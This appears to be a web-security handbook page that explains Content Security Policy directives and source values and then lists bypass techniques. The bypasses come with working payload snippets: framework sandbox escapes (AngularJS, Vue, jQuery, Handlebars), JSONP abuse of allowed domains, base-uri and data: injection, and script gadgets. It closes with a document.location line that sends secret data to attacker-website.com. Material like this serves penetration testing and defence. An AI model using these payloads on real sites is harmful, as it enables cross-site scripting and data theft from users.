Content Security Policy

Content Security Policy (CSP) overview

Content Security Policy is a mechanism to define which resources can be fetched out or executed by a web page. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more.

Content Security Policy is implemented via a response header:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

or the meta element of the HTML page:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

The browser follows the received policy and actively blocks violations as they are detected.

How does it work?

CSP works by restricting the origins that active and passive content can be loaded from. It can additionally restrict certain aspects of active content such as the execution of inline javascript, and the use of eval().

Directives

Resource loading policy is set using directives:

  • script-src specifies allowed sources for JavaScript. This includes not only URLs loaded directly into the <script> elements but also things like inline script event handlers (such as onclick) and XSLT stylesheets which can trigger script execution.

  • default-src defines the policy for fetching resources by default. When fetch directives are absent in the CSP header the browser follows this directive by default. The list of directives that do not follow default-src:

    • base-uri

    • form-action

    • frame-ancestors

    • plugin-types

    • report-uri

    • sandbox

  • child-src defines valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>.

  • connect-src restricts URLs to load using interfaces such as <a>, fetch, websocket, XMLHttpRequest.

  • frame-src specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>.

  • frame-ancestors specifies sources that can embed the current page. This directive applies to <frame>, <iframe>, <object>, <embed>, and <applet> tags. This directive can't be used in <meta> tags and applies only to non-HTML resources.

  • img-src defines allowed sources for loading images on the web page.

  • manifest-src defines allowed sources of application manifest files.

  • media-src defines allowed sources from where media objects such as <audio>, <video> and <track> can be loaded.

  • object-src defines allowed sources for the <object>, <embed> and <applet> elements.

  • base-uri defines allowed URLs that can be loaded using <base> element.

  • form-action lists valid endpoints for submission from <form> tags. Whether form-action should block redirects after a form submission is debated and browser implementations of this aspect are inconsistent (e.g. Firefox 57 does not block the redirects whereas Chrome 63 does).

  • plugin-types restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded. Instantiation of an <embed>, <object> or <applet> elements will fail if:

    • the element to load does not declare a valid MIME-type

    • the declared type does not match one of the specified types in the plugin-types directive

    • the fetched resource does not match the declared type

  • upgrade-insecure-requests instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URLs that need to be rewritten.

  • sandbox enables a sandbox for the requested resource similar to the <iframe> sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.

See the full list of directives at mdn web docs: Content-Security-Policy - Directives.

Source values

Sources are used to define the value of the directives:

  • * allows any URL except data:, blob: and filesystem:.

  • <host-source> Internet host by name or IP address. The URL scheme, port number, and path are optional. Wildcards * can be used for subdomains, host addresses, and port numbers, indicating that all legal values of each are valid.

  • <scheme-source> A scheme such as http: or https: (the colon is required). The data schemes can be specified as well:

    • data: Allows data: URLs to be used as a content source.

    • mediastream: Allows mediastream: URIs to be used as a content source.

    • blob: Allows blob: URIs to be used as a content source.

    • filesystem: Allows filesystem: URIs to be used as a content source.

  • self Refers to the origin from which the protected document is being served, including the same URL scheme and port number.

  • unsafe-eval Allows the use of eval() and other unsafe methods for creating code from strings.

  • unsafe-hashes Allows enabling specific inline event handlers.

  • unsafe-inline Allows the use of inline resources, such as inline <script> elements, javascript: URLs, inline event handlers, and inline <style> elements.

  • none Refers to the empty set; that is, no URLs match.

  • nonce-<base64-value> An allowlist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy.

  • <hash-algorithm>-<base64-value> A sha256, sha384 or sha512 hash of scripts or styles. This value consists of the algorithm used to create the hash followed by a hyphen and the base64-encoded hash of the script or style.

See the full list of directive sources at mdn web docs: Content-Security-Policy - CSP source values.

Example

Consider the following Content Security Policy:

Content-Security-Policy: default-src 'self'; script-src https://website.com;

The following image will be allowed as the image is loading from the same domain i.e. website.com:

<img src="assets/images/logo.png">

The following script will be allowed as the script is loading from the same domain i.e. website.com:

<script src="assets/scripts/main.js"></script>

The following script will not-allowed as the script is trying to load from an undefined domain i.e. attacker-website.com:

<script src=https://attacker-website.com/hook.js></script>

The following payload will not-allowed on the page as inline scripts are blocked by default:

"/><script>alert(1337)</script>

The following image will not-allowed as the image is loaded from an undefined domain i.e. attacker-website.com:

<img src="https://attacker-website.com/image.svg">

Since the directive is not defined in the CSP img-src is set to self and follows default-src by default.

Bypassing techniques

You can use the following online tools to check Content Security Policy:

Allowed CDNs

If script-src or object-src allows a public CDN by its domain name it is possible to access any data from that CDN, including vulnerable libraries or frameworks.

The presence of unsafe-eval or unsafe-inline sources significantly simplifies the exploitation of a vulnerable library or framework, since it allows directly calling the vulnerable component. Otherwise, it is necessary to find a way to call a vulnerable component.

For example, in the snippet below the CSP allows https://cdnjs.cloudflare.com and sets unsafe-eval in script-src. It allows using AngularJS to execute arbitrary JavaScript code.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js"></script>
</head>
<body>
    <div ng-app ng-csp>{{$on.constructor('alert(1)')()}}</div>
</body>

Allowed domains that host user contents

If script-src or object-src allows a domain where everyone can host arbitrary content it is possible to inject arbitrary content.

For example, in the snippet below the CSP allows https://storage.googleapis.com in scripts-src. It makes possible the uploading of a payload to GCP Cloud Storage and achieving arbitrary JavaScript execution.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://storage.googleapis.com;">
</head>
<body>
    <script src=https://storage.googleapis.com/path/to/malicious/script.js></script>
</body>

data: scheme

If default-src, script-src, frame-src or object-src allows the data: scheme it is possible to execute arbitrary JavaScript code by injecting a tag.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src data:;">
</head>
<body>
    <script src=data:text/javascript,alert(1)></script>
    <iframe src='data:text/html,<script defer="true" src="data:text/javascript,alert(1)"></script>'></iframe>
    <iframe srcdoc='<script src="data:text/javascript,alert(1)"></script>'></iframe>
    <!-- Firefox only -->
    <object data="javascript:alert(1)">
</body>

JSONP

JSONP APIs work with the callback= parameter, which specifies a function to process the data sent along with it. If there is no function name validation in JSONP, it is possible to inject a custom callback function and execute arbitrary JavaScript code.

JSONP APIs can be used to bypass a Content Security Policy. For example, the following CSP allows script loading from https://accounts.google.com. Since https://accounts.google.com hosts JSONP endpoints, they can be used to execute arbitrary code.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://accounts.google.com;">
</head>
<body>
    <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
</body>

The exploitation does not require unsafe-inline because the JSONP response handler script must be allowed in the CSP to serve legitimate requests.

References:

  • JSONBee contains ready-to-use JSONP endpoints on different websites.

Allowed microsoft.com in script-src by @OctagonNetworks

It is possible to bypass a CSP if it allows microsoft.com in script-src due to the CSP bypass found in WordPress.

<head>
    <meta http-equiv=Content-Security-Policy content="script-src https://www.microsoft.com;">
</head>
<body>
    <script src=https://www.microsoft.com/en-us/research/wp-json?_jsonp=alert></script>
</body>

References:

Missing or misconfigured base-uri

If base-uri is omitted or set to * in a Content Security Policy, it is possible to redirect relative URLs to an attacker-controlled website by injecting the base element, check out HTML Injection: base.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'nonce-secret';">
</head>
<body>
    <base href='https://attacker-website.com'>
    <script nonce=secret src=/script.js></script>
</body>

The snippet above uses the nonce attribute value without even knowing it.

References:

Missing default-src, frame-src or object-src

If a Content Security Policy does not contain default-src, frame-src or object-src, it is possible to combine other misconfigurations with tags injection to achieve arbitrary code execution.

For example, it is possible to use iframe to bypass restrictions on script-src, such as script-src 'none', script-src 'self', script-src 'nonce-*' or script-src 'hash-*'.

<!-- does not have access to the parent window due to different origin -->
<iframe src="https://attacker-website.com/payload.html"></iframe>
<!-- has access to the parent window thanks to the same origin -->
<!-- requires control over files in the same domain -->
<iframe src="/uploads/payload.html"></iframe>

More examples that leverage other CSP misconfigurations to achieve arbitrary code execution:

<!-- Requires the data: scheme in object-src -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<!-- Requires the data: scheme in script-src -->
<iframe srcdoc='<script src="data:text/javascript,alert(1)"></script>'></iframe>
<!-- Requires unsafe-inline in script-src -->
<iframe srcdoc="<script>alert(1)</script>"></iframe>

Nonce reuse

If nonce is static or is generated by a weak generator or its value can be guessed at, a policy can be bypassed by using the static nonce or guessing the correct nonce value.

References:

Open redirects to bypass allowed paths

Content Security Policy allows you to specify paths in the required domain, like https://website.com/foo/bar/ or https://website.com/foo/bar/lib.js. However, if a domain in the allowed list has an open redirect, that open redirect can be used to successfully load resources from allowed resources even if a path does not match the path allowed in the policy.

For example, the following policy allows two resources https://website.com and https://partially-trusted-website.com/foo/bar.js. If https://website.com has an open redirect it is possible to load a script from another path at https://partially-trusted-website.com.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://website.com https://partially-trusted-website.com/foo/bar.js;">
</head>
<body>
    <script src="https://website.com?redirect=https://partially-trusted-website.com/path/to/malicious/script.js"></script>
</body>

Script gadgets

Script restrictions in a Content Security Policy can be bypassed by interacting with scripts from allowed sources. Scripts may not work securely with data that can be controlled by a user, via DOM clobbering as an example. As a result, it may lead to arbitrary code execution.

Script gadgets can be used to bypass CSP even if a nonce-based policy is in use because gadgets are usually allowed to execute JavaScript.

For example, the following snippet calls a function in the global scope based on the arguments from markup:

var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));

As a result, this snippet can be used to invoke window.* functions with arbitrary arguments using the following input element:

<input id="cmd" value="alert,1">

Another example is the snippet below that passes a value of the RecaptchaClientUrl- element to the src attribute of the script element:

var t = document.querySelector("[id^='RecaptchaClientUrl-']").value
      , i = document.querySelector("[id^='RecaptchaClientSecret-']").value
      , n = document.createElement("script");
    n.id = "RecaptchaScript";
    n.src = t + i;

So, the following payload can be used to execute arbitrary JavaScript code:

<input id="RecaptchaClientUrl-" value="//attacker-website.com/path/to/script.js" />

Check out the articles from the links below to learn more about finding gadgets.

References:

Uploading custom files

Controlling executable files and script-src 'self'

If there is a way to control files with arbitrary extensions to some path in the same domain it might be possible to abuse a CSP that sets script-src 'self' and execute arbitrary JavaScript code.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self';">
</head>
<body>
    <!-- the script.js will be loaded and executed -->
    <script src='/uploads/script.js'></script>
</body>

Controlling executable files and script-src 'nonce' or 'hash'

If there is a way to control files with arbitrary extensions to some path in the same domain it might be possible to bypass nonce and hash based script-src using the iframe element (required misconfigured frame-src).

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret';">
    <!--
    or
    <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=';">
    -->
</head>
<body>
    <iframe src="/uploads/script.html"></iframe>
</body>

Where /uploads/script.html contains a payload:

<script>alert(1)</script>

Controlling text files and script-src 'self'

Most likely an application will restrict uploading files with potentially dangerous extensions like html or js.

If X-Content-Type-Options: nosniff is not active it is possible to use text files as sources for the script element. In this case, browsers use MIME-type sniffing to find out the actual content type of a file.

For example, for the policy below, it is possible to use any text files with MIME-types text/plain, text/css, javasript/css, etc. to load a script.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self';">
</head>
<body>
    <!-- the file.css will be loaded and executed as JavaScript -->
    <script src='file.css'></script>
</body>

However, even if X-Content-Type-Options: nosniff is active, there are content types that can be used to deliver a payload, check out:

unsafe-eval

If script-src or default-src allows unsafe-eval, it might be possible to execute arbitrary JavaScript. There are multiple ways to achieve code execution:

  1. There is an eval expression that receives user-controlled data.

  2. A website uses vulnerable frameworks, like jQuery or Angular.js, that can be used to execute any inline scripts.

  3. If a Content Security Policy allows loading libraries and frameworks from public CDNs it is possible to use vulnerable libraries and frameworks to execute arbitrary code.

For example, the following CSP allows https://cdnjs.cloudflare.com and sets unsafe-eval in script-src. The payload uses Angular JS to execute arbitrary JavaScript code.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js"></script>
</head>
<body>
    <div ng-app ng-csp>{{$on.constructor('alert(1)')()}}</div>
</body>

unsafe-inline

If default-src, script-src, frame-src or object-src allows unsafe-inline it is possible to execute arbitrary JavaScript code by injecting a tag or using event handlers.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline';">
</head>
<body>
    <script>alert(1)</script>
    <img src onerror="alert(1)">
    <iframe src="javascript: alert(1)"></iframe>
</body>

Policy injection

Content Security Policy can be generated dynamically based on variables provided by a user. If these variables are not properly validated, it may be possible to inject directives and weaken the policy.

References:

Wildcards *

Using * with script-src, object-src or default-src allows content loading from an unlimited range of sources.

For example, the following CSP allows the direct loading of malicious scripts from arbitrary resources.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src *;">
</head>
<body>
    <script src=https://attacker-website.com/script.js></script>
</body>

Frameworks and libraries

AngularJS

AngularJS can be used to bypass the CSP if it is used by the page or if the CSP allows loading from a remote resource.

The following example uses AngularJS events to access the window object and escape from a sandbox.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://cdnjs.cloudflare.com;">
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.5/angular.js"></script>
</head>
<body ng-app ng-csp>
    <input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
</body>

In the next example, prototype.js is used to access the window object. In other words, the payload uses prototype.js to access the window object from AngularJS.

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://ajax.googleapis.com;">
    <script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script>
    <script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>
</head>
<body class="ng-app" ng-csp>
    {{$on.curry.call().alert(1)}}
</body>

More AngularJS payloads can be found at (part of the payloads require user interaction or unsafe-eval to be set):

The following article explains the payload with prototype.js and shows how to find similar libraries to escape a sandbox:

Vue.js

Vie.js can be used to bypass a CSP if unsafe-eval is set (that is required for runtime template compilation).

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://cdn.jsdelivr.net 'nonce-sometoken' 'unsafe-eval';">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        {{_c.constructor`alert(1)`()}} 
    </div>
    <script nonce="sometoken">
        new Vue({
          el: '#app',
          data: {
            message: 'Hello Vue.js!'
          }
        })
    </script>
</body>

More Vue.js payloads can be found at:

jQuery

jQuery of different versions has vulnerabilities that can be used to bypass a CSP.

nonce and strict-dynamic bypass via $.get in jQuery 2.x

If there is a way to control an URL in $.get or $.post it is possible to bypass a CSP that sets nonce and strict-dynamic.

<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'strict-dynamic'"> 
  <script nonce='secret' src="https://code.jquery.com/jquery-2.2.4.js" ></script>
</head> 
<body>
    <script nonce=secret> 
        $(function() { 
            $.get('data:text/javascript,"use strict"%0d%0aalert(1)');
        });
    </script>
</body>

It was patched in jQuery 3.0.0, check out https://github.com/jquery/jquery/issues/2432

nonce bypass via jQuery templates

jQuery templates can be used to bypass a CSP that sets nonce and unsafe-eval (that is required for runtime template compilation).

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'unsafe-eval';">
    <script nonce=secret src="https://code.jquery.com/jquery-3.1.1.js"></script>
    <script nonce=secret src="http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.js"></script>
    <script nonce=secret type="text/javascript">
        jQuery(function(){
            $("#x").tmpl([{}])
        });
    </script>
</head>
<body>
    <div id="x">${alert.bind(window)(1)}</div>
</body>

nonce bypass via hijacking handlebar templates

Handlebar templates can be used to bypass a CSP that sets nonce and unsafe-eval (that is required for runtime template compilation).

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'unsafe-eval';">
    <script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
    <script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/1.3.0/handlebars.js"></script>
</head>
<body>
    <script id="csp-template" type="text/x-handlebars-template">
        <script>alert("I am injected via XSS")<{{!}}/script>
    </script>
    <script id="csp-template" type="text/x-handlebars-template">
        <h1>I am legit</h1>
    </script>
    <div id="csp-placeholder"></div>
    <script nonce="secret">
        var cspSource = $("#csp-template").html();
        var cspTemplate = Handlebars.compile(cspSource);
        $("#csp-placeholder").html(cspTemplate());
    </script>
  </body>
</html>

Data exfiltration

Overwriting document.location

Overwriting document.location can be used to send data to an external server even if a CSP restricts the URLs which can be loaded.

document.location = `https://attacker-website.com/callback?q=${secretData}`;

References

Last updated